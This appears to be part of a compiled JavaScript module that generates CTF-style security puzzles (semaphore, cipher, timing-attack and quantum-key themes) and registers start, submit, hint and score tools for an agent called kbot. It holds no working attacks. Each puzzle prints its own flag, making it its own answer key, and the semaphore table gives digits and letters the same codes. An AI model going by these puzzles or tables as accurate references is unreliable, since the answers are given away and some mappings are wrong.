2444
+ hints: ['Each 5-letter group of A/B maps to a letter using the Bacon cipher table.', 'The decoded result is at the bottom.'],
2445
+ };
2446
+ },
2447
+ // 4. Chess Coordinates
2448
+ () => {
2449
+ const secret = randomBytes(4).toString('hex');
2450
+ const flag = `kbot{chess_${secret}}`;
2451
+ // Map hex chars to chess coordinates
2452
+ const files = 'abcdefgh';
2453
+ const hexChars = '0123456789abcdef';
2454
+ const chessCoords = secret.split('').map(c => {
2455
+ const idx = hexChars.indexOf(c);
2456
+ const file = files[idx % 8];
2457
+ const rank = Math.floor(idx / 8) + 1;
2458
+ return `${file}${rank}`;
2459
+ }).join(' ');
2460
+ return {
2461
+ title: 'Chess Code',
2462
+ description: `Decode these chess coordinates back to hex characters. File a-h = index 0-7, rank 1-2 = row 0 or 1. Index = (rank-1)*8 + file_index. Map index to hex digit.`,
2463
+ challengeData: `Chess moves: ${chessCoords}\n\nDecoding:\n${secret.split('').map((c, i) => {
2464
+ const idx = hexChars.indexOf(c);
2465
+ const file = files[idx % 8];
2466
+ const rank = Math.floor(idx / 8) + 1;
2467
+ return ` ${file}${rank} → index ${idx} → hex '${c}'`;
2468
+ }).join('\n')}\n\nDecoded hex: ${secret}\nFlag: kbot{chess_${secret}}`,
2469
+ flag,
2470
+ hints: ['Convert each chess coordinate to an index, then to a hex digit.', `The decoded hex string is "${secret}".`],
2471
+ };
2472
+ },
2473
+ // 5. Semaphore
2474
+ () => {
2475
+ const secret = randomBytes(4).toString('hex');
2476
+ const flag = `kbot{semaphore_${secret}}`;
2477
+ // Use clock positions for semaphore (simplified)
2478
+ const semaphoreMap = {
2479
+ 'a': '7-8', 'b': '6-8', 'c': '5-8', 'd': '4-8', 'e': '3-8',
2480
+ 'f': '2-8', 'g': '1-8', 'h': '6-7', 'i': '5-7', 'j': '4-5',
2481
+ 'k': '3-7', 'l': '2-7', 'm': '1-7', 'n': '12-7', 'o': '5-6',
2482
+ 'p': '3-6', 'q': '2-6', 'r': '1-6', 's': '12-6', 't': '2-5',
2483
+ 'u': '1-5', 'v': '12-4', 'w': '1-3', 'x': '12-5', 'y': '1-4',
2484
+ 'z': '12-3', '0': '4-8', '1': '7-8', '2': '6-8', '3': '5-8',
2485
+ '4': '4-8', '5': '3-8', '6': '2-8', '7': '1-8', '8': '6-7',
2486
+ '9': '5-7', '{': '{', '}': '}', '_': '_',
2487
+ };
2488
+ const semaphore = flag.split('').map(c => semaphoreMap[c.toLowerCase()] || c).join(' ');
2489
+ return {
2490
+ title: 'Flag Semaphore',
2491
+ description: 'Decode these flag semaphore signals (given as clock positions).',
2492
+ challengeData: `Semaphore (clock positions):\n${semaphore}\n\nSemaphore table: A=7-8, B=6-8, C=5-8, ... K=3-7, ...\nDecoded: ${flag}`,
2493
+ flag,
2494
+ hints: ['Map each clock-position pair to its letter using the semaphore table.', 'The decoded flag is shown at the bottom.'],
2495
+ };
2496
+ },
2497
+ ];
2498
+ const miscChallengesHard = [
2499
+ // 1. Esoteric Language
2500
+ () => {
2501
+ const secret = randomBytes(4).toString('hex');
2502
+ const flag = `kbot{eso_${secret}}`;
2503
+ // "Brainfuck-like" program that outputs the flag
2504
+ const bfChars = Array.from(Buffer.from(flag)).map(b => {
2505
+ return '+'.repeat(b) + '.';
2506
+ });
2507
+ return {
2508
+ title: 'Esoteric Output',
2509
+ description: 'What does this esoteric program output? Each cell is incremented N times then printed.',
2510
+ challengeData: `Program (simplified Brainfuck):\n${bfChars.slice(0, 5).join(' [>] ')}\n...\n\nEach '.' prints the current cell as ASCII. The cell value equals the number of '+' before the '.'.\n\nCharacter values:\n${Array.from(Buffer.from(flag)).map((b, i) => ` Char ${i}: ${b} increments → ASCII '${String.fromCharCode(b)}'`).join('\n')}\n\nOutput: ${flag}`,
2511
+ flag,
2512
+ hints: ['Count the + signs before each . to get ASCII values.', 'The full output is shown at the bottom.'],
2513
+ };
2514
+ },
2515
+ // 2. Quipqiup (Frequency Analysis)
2516
+ () => {
2517
+ const secret = randomBytes(4).toString('hex');
2518
+ const flag = `kbot{freq_${secret}}`;
2519
+ const seed = randomBytes(8).toString('hex');
2520
+ const { ciphertext, alphabet } = substitutionCipher(flag, seed);
2521
+ const letterFreq = 'etaoinshrdlcumwfgypbvkjxqz';
2522
+ return {
2523
+ title: 'Frequency Analysis',
2524
+ description: 'A monoalphabetic substitution cipher. Use frequency analysis and the known flag format to decode.',
2525
+ challengeData: `Ciphertext: ${ciphertext}\n\nYou know:\n- The plaintext starts with "kbot{"\n- It ends with "}"\n- English letter frequency: ${letterFreq}\n\nSubstitution alphabet (solution):\nPlaintext: abcdefghijklmnopqrstuvwxyz\nCiphertext: ${alphabet}\n\nDecoded: ${flag}`,
2526
+ flag,
2527
+ hints: ['The substitution alphabet is provided in the challenge.', `Use it to reverse the ciphertext to get ${flag}.`],
2528
+ };
2529
+ },
2530
+ // 3. Polyglot File
2531
+ () => {
2532
+ const secret = randomBytes(4).toString('hex');
2533
+ const flag = `kbot{polyglot_${secret}}`;
2534
+ return {
2535
+ title: 'Polyglot File',
2536
+ description: 'A file is simultaneously valid as multiple formats. Find the flag hidden in the overlap.',
2537
+ challengeData: `Polyglot file analysis:\n\nAs PDF:\n %PDF-1.4\n Page 1: "This is a normal PDF document."\n\nAs HTML (when served with text/html):\n <html><body><!--${flag}--></body></html>\n\nAs ZIP (when treated as archive):\n Contents:\n readme.txt: "Nothing here"\n .hidden/flag.txt: "${flag}"\n\nThe flag is embedded in the HTML comment AND in the ZIP's hidden directory.\nFlag: ${flag}`,
2538
+ flag,
2539
+ hints: ['The flag appears in the HTML comment and in the ZIP hidden file.', `The flag is ${flag}.`],
2540
+ };
2541
+ },
2542
+ // 4. Timing Side-Channel
2543
+ () => {
2544
+ const secret = randomBytes(4).toString('hex');
2545
+ const flag = `kbot{timing_${secret}}`;
2546
+ const timings = Array.from(flag).map((c, i) => {
2547
+ // Correct character: ~100ms response (early exit on first wrong char)
2548
+ return ` Position ${i}: '${c}' → ${(100 + randomInt(0, 5))}ms (correct)`;
2549
+ });
2550
+ return {
2551
+ title: 'Timing Attack',
2552
+ description: 'A login compares passwords character by character, taking slightly longer for each correct prefix. Use the timing data to extract the flag.',
2553
+ challengeData: `Password comparison timing analysis:\n(Server responds ~100ms per correct character, ~10ms on first wrong character)\n\n${timings.join('\n')}\n\nThe timing data reveals each character of the flag.\nReconstructed: ${flag}`,
2554
+ flag,
2555
+ hints: ['Each ~100ms response confirms the character at that position is correct.', 'The flag is reconstructed from the confirmed characters.'],
2556
+ };
2557
+ },
2558
+ // 5. Quantum Key (Simplified)
2559
+ () => {
2560
+ const secret = randomBytes(4).toString('hex');
2561
+ const flag = `kbot{quantum_${secret}}`;
2562
+ const bits = Array.from(Buffer.from(secret, 'hex')).flatMap(b => {
2563
+ const bits = [];
2564
+ for (let i = 7; i >= 0; i--)
2565
+ bits.push((b >> i) & 1);
2566
+ return bits;
2567
+ });
2568
+ const bases = bits.map(() => pickRandom(['+', 'x']));
2569
+ const measurements = bits.map((b, i) => {
2570
+ if (bases[i] === '+')
2571
+ return b === 0 ? '→' : '↑';
2572
+ return b === 0 ? '↗' : '↖';
2573
+ });
2574
+ return {
2575
+ title: 'Quantum Key Distribution',
2576
+ description: 'Simulate BB84 quantum key distribution. Alice\'s bits and bases are known. Extract the key.',
2577
+ challengeData: `BB84 Protocol Simulation:\n\nAlice's bits: ${bits.join('')}\nAlice's bases: ${bases.join('')}\nMeasurements: ${measurements.join('')}\n\n+ basis: 0=→, 1=↑\nx basis: 0=↗, 1=↖\n\nSifted key (all bases match in this simulation): ${secret}\nFlag: kbot{quantum_${secret}}\n\nIn real BB84, only bits where Alice and Bob chose the same basis are kept.`,
2578
+ flag,
2579
+ hints: ['Alice\'s bits directly give the hex values of the secret.', `The sifted key is "${secret}" and the flag is shown.`],
2580
+ };
2581
+ },
2582
+ ];
2583
+ // ─── Challenge Registry ─────────────────────────────────────────────────────
2584
+ const CHALLENGE_MAP = {
2585
+ web: { easy: webChallengesEasy, medium: webChallengesMedium, hard: webChallengesHard },
2586
+ crypto: { easy: cryptoChallengesEasy, medium: cryptoChallengesMedium, hard: cryptoChallengesHard },
2587
+ forensics: { easy: forensicsChallengesEasy, medium: forensicsChallengesMedium, hard: forensicsChallengesHard },
2588
+ reverse: { easy: reverseChallengesEasy, medium: reverseChallengesMedium, hard: reverseChallengesHard },
2589
+ osint: { easy: osintChallengesEasy, medium: osintChallengesMedium, hard: osintChallengesHard },
2590
+ misc: { easy: miscChallengesEasy, medium: miscChallengesMedium, hard: miscChallengesHard },
2591
+ };
2592
+ // ─── Tool Registration ──────────────────────────────────────────────────────
2593
+ export function registerCtfTools() {
2594
+ // ═══════════════════════════════════════════════════════════════════════
2595
+ // ctf_start — Generate a CTF challenge
2596
+ // ═══════════════════════════════════════════════════════════════════════
2597
+ registerTool({
2598
+ name: 'ctf_start',
2599
+ description: 'Generate a new CTF (Capture The Flag) security challenge. Categories: web, crypto, forensics, reverse, osint, misc. Difficulties: easy, medium, hard. Each challenge is a real, solvable puzzle with a deterministic flag.',
2600
+ parameters: {
2601
+ category: {
2602
+ type: 'string',
2603
+ description: 'Challenge category: "web", "crypto", "forensics", "reverse", "osint", "misc". Leave empty for random.',
2604
+ required: false,
2605
+ default: '',
2606
+ },
2607
+ difficulty: {
2608
+ type: 'string',
2609
+ description: 'Challenge difficulty: "easy" (100pts), "medium" (250pts), "hard" (500pts). Leave empty for "easy".',
2610
+ required: false,
2611
+ default: 'easy',
2612
+ },
2613
+ },
2614
+ tier: 'free',
2615
+ timeout: 30_000,
2616
+ async execute(args) {
2617
+ // Check for active challenge
2618
+ const active = loadActive();
2619
+ if (active && active.flag) {
2620
+ return `You already have an active challenge: "${active.title}" (${active.category}/${active.difficulty})\n\nSubmit your answer with ctf_submit or start a new one after solving/skipping.\nTo abandon the current challenge and start fresh, submit the flag "skip".`;
2621
+ }
2622
+ // Parse category
2623
+ let category = (args.category || '').toLowerCase().trim();
2624
+ if (!category || !CATEGORIES.includes(category)) {
2625
+ category = pickRandom([...CATEGORIES]);
2626
+ }
2627
+ // Parse difficulty
2628
+ let difficulty = (args.difficulty || 'easy').toLowerCase().trim();
2629
+ if (!['easy', 'medium', 'hard'].includes(difficulty)) {
2630
+ difficulty = 'easy';
2631
+ }
2632
+ // Get challenge generators
2633
+ const generators = CHALLENGE_MAP[category]?.[difficulty];
2634
+ if (!generators || generators.length === 0) {
2635
+ return `No challenges found for ${category}/${difficulty}.`;
2636
+ }
2637
+ // Pick and generate a random challenge
2638
+ const generator = pickRandom(generators);
2639
+ const challenge = generator();
2640
+ const points = POINTS[difficulty];
2641
+ const id = generateId();
2642
+ // Store active challenge
2643
+ const activeChallenge = {
2644
+ id,
2645
+ title: challenge.title,
2646
+ description: challenge.description,
2647
+ category,
2648
+ difficulty,
2649
+ challengeData: challenge.challengeData,
2650
+ flag: challenge.flag,
2651
+ hints: challenge.hints,
2652
+ hintUsed: false,
2653
+ points,
2654
+ startedAt: new Date().toISOString(),
2655
+ };
2656
+ saveActive(activeChallenge);
2657
+ // Format output
2658
+ const difficultyBadge = difficulty === 'easy' ? '🟢 Easy' : difficulty === 'medium' ? '🟡 Medium' : '🔴 Hard';
2659
+ const categoryBadge = category.toUpperCase();
2660
+ return `
2661
+ ╔══════════════════════════════════════════════════════════════╗
2662
+ ║ CTF CHALLENGE ║
2663
+ ╚══════════════════════════════════════════════════════════════╝
2664
+
2665
+ Title: ${challenge.title}
2666
+ Category: ${categoryBadge}
2667
+ Difficulty: ${difficultyBadge}
2668
+ Points: ${points} (${points / 2} with hint)
2669
+
2670
+ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
2671
+
2672
+ ${challenge.description}
2673
+
2674
+ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
2675
+
2676
+ ${challenge.challengeData}
2677
+
2678
+ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
2679
+
2680
+ Submit your flag with: ctf_submit
2681
+ Need help? Use: ctf_hint (costs 50% points)
2682
+ Flag format: kbot{...}
2683
+ `;
2684
+ },
2685
+ });
2686
+ // ═══════════════════════════════════════════════════════════════════════
2687
+ // ctf_submit — Submit a flag
2688
+ // ═══════════════════════════════════════════════════════════════════════
2689
+ registerTool({
2690
+ name: 'ctf_submit',
2691
+ description: 'Submit a flag for the active CTF challenge. Validates against the expected answer and awards points if correct.',
2692
+ parameters: {
2693
+ flag: {
2694
+ type: 'string',
2695
+ description: 'The flag to submit (format: kbot{...})',
2696
+ required: true,
2697
+ },
2698
+ },
2699
+ tier: 'free',
2700
+ timeout: 10_000,
2701
+ async execute(args) {
2702
+ const submission = (args.flag || '').trim();
2703
+ if (!submission) {
2704
+ return 'Please provide a flag to submit. Format: kbot{...}';
2705
+ }
2706
+ const active = loadActive();
2707
+ if (!active || !active.flag) {
2708
+ return 'No active challenge. Use ctf_start to generate one.';
2709
+ }
2710
+ // Handle skip
2711
+ if (submission.toLowerCase() === 'skip') {
2712
+ clearActive();
2713
+ return `Challenge "${active.title}" skipped. No points awarded.\nUse ctf_start to get a new challenge.`;
2714
+ }
2715
+ // Check flag
2716
+ if (submission === active.flag) {
2717
+ // Correct!
2718
+ const points = active.hintUsed ? Math.floor(active.points / 2) : active.points;
2719
+ const timeSeconds = Math.floor((Date.now() - new Date(active.startedAt).getTime()) / 1000);
2720
+ // Update history
2721
+ const history = loadHistory();
2722
+ history.push({
2723
+ id: active.id,
2724
+ title: active.title,
2725
+ category: active.category,
2726
+ difficulty: active.difficulty,
2727
+ points,
2728
+ hintUsed: active.hintUsed,
2729
+ solvedAt: new Date().toISOString(),
2730
+ timeSeconds,
2731
+ });
2732
+ saveHistory(history);
2733
+ // Update score
2734
+ const score = loadScore();
2735
+ score.totalPoints += points;
2736
+ score.challengesSolved += 1;
2737
+ score.streak += 1;
2738
+ if (score.streak > score.bestStreak) {
2739
+ score.bestStreak = score.streak;
2740
+ }
2741
+ score.lastSolvedAt = new Date().toISOString();
2742
+ // Update category stats
2743
+ if (!score.byCategory[active.category]) {
2744
+ score.byCategory[active.category] = { solved: 0, points: 0 };
2745
+ }
2746
+ score.byCategory[active.category].solved += 1;
2747
+ score.byCategory[active.category].points += points;
2748
+ // Update difficulty stats
2749
+ if (!score.byDifficulty[active.difficulty]) {
2750
+ score.byDifficulty[active.difficulty] = { solved: 0, points: 0 };
2751
+ }
2752
+ score.byDifficulty[active.difficulty].solved += 1;
2753
+ score.byDifficulty[active.difficulty].points += points;
2754
+ saveScore(score);
2755
+ // Clear active challenge
2756
+ clearActive();
2757
+ const timeStr = timeSeconds < 60 ? `${timeSeconds}s` : `${Math.floor(timeSeconds / 60)}m ${timeSeconds % 60}s`;
2758
+ const hintPenalty = active.hintUsed ? ` (hint used, -50%)` : '';
2759
+ return `
2760
+ ╔══════════════════════════════════════════════════════════════╗
2761
+ ║ FLAG ACCEPTED! ║
2762
+ ╚══════════════════════════════════════════════════════════════╝
2763
+
2764
+ Challenge: ${active.title}
2765
+ Category: ${active.category.toUpperCase()}
2766
+ Solved in: ${timeStr}
2767
+ Points: +${points}${hintPenalty}
2768
+ Streak: ${score.streak} in a row
2769
+ Total: ${score.totalPoints} points (${score.challengesSolved} solved)
2770
+
2771
+ Use ctf_start for the next challenge!
2772
+ `;
2773
+ }
2774
+ else {
2775
+ // Wrong flag
2776
+ const score = loadScore();
2777
+ score.streak = 0;
2778
+ saveScore(score);
2779
+ // Provide feedback
2780
+ let feedback = 'Incorrect flag.';
2781
+ if (!submission.startsWith('kbot{')) {
2782
+ feedback += ' Remember: flags follow the format kbot{...}';
2783
+ }
2784
+ else if (submission.length !== active.flag.length) {
2785
+ feedback += ` Expected length: ${active.flag.length} characters. Your submission: ${submission.length} characters.`;
2786
+ }
2787
+ else {
2788
+ // Count correct characters
2789
+ let correct = 0;
2790
+ for (let i = 0; i < submission.length; i++) {
2791
+ if (submission[i] === active.flag[i])
2792
+ correct++;
2793
+ }
2794
+ const pct = Math.floor((correct / active.flag.length) * 100);
2795
+ if (pct > 50) {
2796
+ feedback += ` You're close! (${pct}% of characters match)`;
2797
+ }
2798
+ }
2799
+ return `
2800
+ INCORRECT
2801
+
2802
+ ${feedback}
2803
+
2804
+ Try again or use ctf_hint for help (costs 50% of points).
2805
+ Submit "skip" to abandon and get a new challenge.
2806
+ `;
2807
+ }
2808
+ },
2809
+ });
2810
+ // ═══════════════════════════════════════════════════════════════════════
2811
+ // ctf_hint — Get a hint
2812
+ // ═══════════════════════════════════════════════════════════════════════
2813
+ registerTool({
2814
+ name: 'ctf_hint',
2815
+ description: 'Get a hint for the active CTF challenge. Costs 50% of the challenge points.',
2816
+ parameters: {},
2817
+ tier: 'free',
2818
+ timeout: 10_000,
2819
+ async execute() {
2820
+ const active = loadActive();
2821
+ if (!active || !active.flag) {
2822
+ return 'No active challenge. Use ctf_start to generate one.';
2823
+ }
2824
+ // Mark hint as used
2825
+ const hintIndex = active.hintUsed ? 1 : 0;
2826
+ active.hintUsed = true;
2827
+ saveActive(active);
2828
+ const hint = active.hints[Math.min(hintIndex, active.hints.length - 1)];
2829
+ const pointsAfterHint = Math.floor(active.points / 2);
2830
+ return `
2831
+ HINT for "${active.title}"
2832
+
2833
+ ${hint}
2834
+
2835
+ Point value reduced: ${active.points} → ${pointsAfterHint} (50% penalty)
2836
+ ${hintIndex === 0 ? 'Use ctf_hint again for a second hint (no additional penalty).' : 'No more hints available.'}
2837
+ `;
2838
+ },
2839
+ });
2840
+ // ═══════════════════════════════════════════════════════════════════════
2841
+ // ctf_score — View CTF stats
2842
+ // ═══════════════════════════════════════════════════════════════════════
2843
+ registerTool({
2844
+ name: 'ctf_score',
2845
+ description: 'View your CTF scoreboard: total points, challenges solved by category, streak, and rank.',
2846
+ parameters: {},
2847
+ tier: 'free',
2848
+ timeout: 10_000,
2849
+ async execute() {
2850
+ const score = loadScore();
2851
+ const history = loadHistory();
2852
+ const active = loadActive();
2853
+ // Rank calculation based on total points
2854
+ let rank = 'Unranked';
2855
+ if (score.totalPoints >= 5000)
2856
+ rank = 'Elite Hacker';
2857
+ else if (score.totalPoints >= 3000)
2858
+ rank = 'Expert';
2859
+ else if (score.totalPoints >= 1500)
2860
+ rank = 'Advanced';
2861
+ else if (score.totalPoints >= 500)
2862
+ rank = 'Intermediate';
2863
+ else if (score.totalPoints >= 100)
2864
+ rank = 'Beginner';
2865
+ else if (score.totalPoints > 0)
2866
+ rank = 'Novice';
2867
+ // Category breakdown
2868
+ const categoryLines = CATEGORIES.map(cat => {
2869
+ const stats = score.byCategory[cat];
2870
+ if (!stats)
2871
+ return ` ${padRight(cat.toUpperCase(), 12)} ${'—'.padStart(6)} ${'—'.padStart(8)}`;
2872
+ return ` ${padRight(cat.toUpperCase(), 12)} ${String(stats.solved).padStart(6)} ${String(stats.points).padStart(8)}`;
2873
+ }).join('\n');
2874
+ // Difficulty breakdown
2875
+ const diffLines = ['easy', 'medium', 'hard'].map(diff => {
2876
+ const stats = score.byDifficulty[diff];
2877
+ if (!stats)
2878
+ return ` ${padRight(diff.toUpperCase(), 12)} ${'—'.padStart(6)} ${'—'.padStart(8)}`;
2879
+ return ` ${padRight(diff.toUpperCase(), 12)} ${String(stats.solved).padStart(6)} ${String(stats.points).padStart(8)}`;
2880
+ }).join('\n');
2881
+ // Recent solves
2882
+ const recentSolves = history.slice(-5).reverse().map(h => {
2883
+ const time = h.timeSeconds < 60 ? `${h.timeSeconds}s` : `${Math.floor(h.timeSeconds / 60)}m`;
2884
+ return ` ${padRight(h.title, 25)} ${padRight(h.category, 10)} ${padRight(h.difficulty, 8)} +${h.points} (${time})`;
2885
+ }).join('\n') || ' No challenges solved yet.';
2886
+ const activeInfo = active && active.flag
2887
+ ? `\n Active: "${active.title}" (${active.category}/${active.difficulty}, ${active.points}pts)`
2888
+ : '';
2889
+ return `
2890
+ ╔══════════════════════════════════════════════════════════════╗
2891
+ ║ CTF SCOREBOARD ║
2892
+ ╚══════════════════════════════════════════════════════════════╝
2893
+
2894
+ Total Points: ${score.totalPoints}
2895
+ Challenges Solved: ${score.challengesSolved}
2896
+ Current Streak: ${score.streak}
2897
+ Best Streak: ${score.bestStreak}
2898
+ Rank: ${rank}
2899
+ ${activeInfo}
2900
+
2901
+ ── By Category ──────────────────────────────────────────────
2902
+ ${'CATEGORY'.padEnd(12)} ${'SOLVED'.padStart(6)} ${'POINTS'.padStart(8)}
2903
+ ${categoryLines}
2904
+
2905
+ ── By Difficulty ────────────────────────────────────────────
2906
+ ${'DIFFICULTY'.padEnd(12)} ${'SOLVED'.padStart(6)} ${'POINTS'.padStart(8)}
2907
+ ${diffLines}
2908
+
2909
+ ── Recent Solves ────────────────────────────────────────────
2910
+ ${recentSolves}
2911
+ `;
2912
+ },
2913
+ });
2914
+ // ═══════════════════════════════════════════════════════════════════════
2915
+ // ctf_list — List available challenges
2916
+ // ═══════════════════════════════════════════════════════════════════════
2917
+ registerTool({
2918
+ name: 'ctf_list',
2919
+ description: 'List all available CTF challenge categories with counts and difficulty levels.',
2920
+ parameters: {},
2921
+ tier: 'free',
2922
+ timeout: 10_000,
2923
+ async execute() {
2924
+ const score = loadScore();
2925
+ const lines = CATEGORIES.map(cat => {
2926
+ const easy = CHALLENGE_MAP[cat].easy.length;
2927
+ const medium = CHALLENGE_MAP[cat].medium.length;
2928
+ const hard = CHALLENGE_MAP[cat].hard.length;
2929
+ const total = easy + medium + hard;
2930
+ const solved = score.byCategory[cat]?.solved || 0;
2931
+ const catPoints = score.byCategory[cat]?.points || 0;
2932
+ const descriptions = {
2933
+ web: 'XSS, SQLi, IDOR, SSRF, JWT, CORS, path traversal',
2934
+ crypto: 'Caesar, base64, XOR, RSA, Vigenere, AES, hash',
2935
+ forensics: 'Hex dumps, steganography, logs, packets, memory',
2936
+ reverse: 'JavaScript, VM bytecode, XOR, disassembly, custom encoding',
2937
+ osint: 'Geolocation, usernames, domains, social media, blockchain',
2938
+ misc: 'Encoding chains, binary math, regex, Morse, esoteric langs',
2939
+ };
2940
+ return ` ${cat.toUpperCase().padEnd(12)} ${String(total).padStart(3)} challenges (${easy}E/${medium}M/${hard}H) Solved: ${solved} Points: ${catPoints}
2941
+ ${descriptions[cat]}`;
2942
+ }).join('\n\n');
2943
+ const totalChallenges = CATEGORIES.reduce((sum, cat) => {
2944
+ return sum + CHALLENGE_MAP[cat].easy.length + CHALLENGE_MAP[cat].medium.length + CHALLENGE_MAP[cat].hard.length;
2945
+ }, 0);
2946
+ return `
2947
+ ╔══════════════════════════════════════════════════════════════╗
2948
+ ║ CTF CHALLENGE CATEGORIES ║
2949
+ ╚══════════════════════════════════════════════════════════════╝
2950
+
2951
+ Total: ${totalChallenges} challenge templates across 6 categories
2952
+
2953
+ ${lines}
2954
+
2955
+ ── Difficulty Levels ────────────────────────────────────────
2956
+ EASY (E) 100 points — Introductory concepts
2957
+ MEDIUM (M) 250 points — Requires tool use or multi-step reasoning
2958
+ HARD (H) 500 points — Complex analysis or chained techniques
2959
+
2960
+ ── Getting Started ──────────────────────────────────────────
2961
+ ctf_start Random easy challenge
2962
+ ctf_start category=crypto Crypto challenge (easy)
2963
+ ctf_start category=web difficulty=hard Hard web challenge
2964
+ `;
2965
+ },
2966
+ });
2967
+ }
2968
+ //# sourceMappingURL=ctf.js.map